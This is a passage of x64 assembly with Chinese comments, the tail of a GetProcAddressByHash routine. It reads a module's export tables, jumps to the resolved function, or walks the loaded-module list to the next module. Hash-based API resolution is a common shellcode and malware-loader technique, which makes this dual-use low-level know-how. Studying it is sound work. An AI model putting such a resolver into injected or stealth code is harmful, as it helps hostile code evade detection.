497 | mov r9d, dword ptr [rax+24h] ; 获取序号表(AddressOfNameOrdinals)的 RVA 498 | add r9, rdx ; 序号表起始地址 499 | mov cx, [r9+2*rcx] ; 从序号表中获取目标函数的导出索引 500 | mov r9d, dword ptr [rax+1ch] ; 获取函数地址表(AddressOfFunctions)的 RVA 501 | add r9, rdx ; AddressOfFunctions数组的首地址 502 | mov eax, dword ptr [r9+4*rcx] ; 获取目标函数指针的RVA 503 | add rax, rdx ; 获取目标函数指针的地址 504 | 505 | finish: 506 | pop r8 ; 清除当前模块hash 507 | pop r8 ; 清除当前链表的位置 508 | pop r12 509 | pop rsi ; 恢复RSI 510 | pop rcx ; 恢复第一个参数 511 | pop rdx ; 恢复第二个参数 512 | pop r8 ; 恢复第三个参数 513 | pop r9 ; 恢复第四个参数 514 | pop r10 ; 将返回地址地址存储到r10中 515 | sub rsp, 20h ; 给前4个参数预留 4*8=32(20h)的影子空间 516 | push r10 ; 返回地址 517 | jmp rax ; 调用目标函数 518 | 519 | get_next_mod: 520 | pop rax ; 弹出栈中保存的导出表地址 521 | get_next_mod1: 522 | pop r8 ; 弹出之前压栈的计算出来的模块哈希值 523 | pop rdx ; 弹出之前存储在当前模块在链表中的位置 524 | mov rdx, [rdx] ; 获取链表的下一个模块节点(FLINK) 525 | jmp next_mod ; 跳转回模块遍历循环 526 | 527 | GetProcAddressByHash endp 528 | 529 | end --------------------------------------------------------------------------------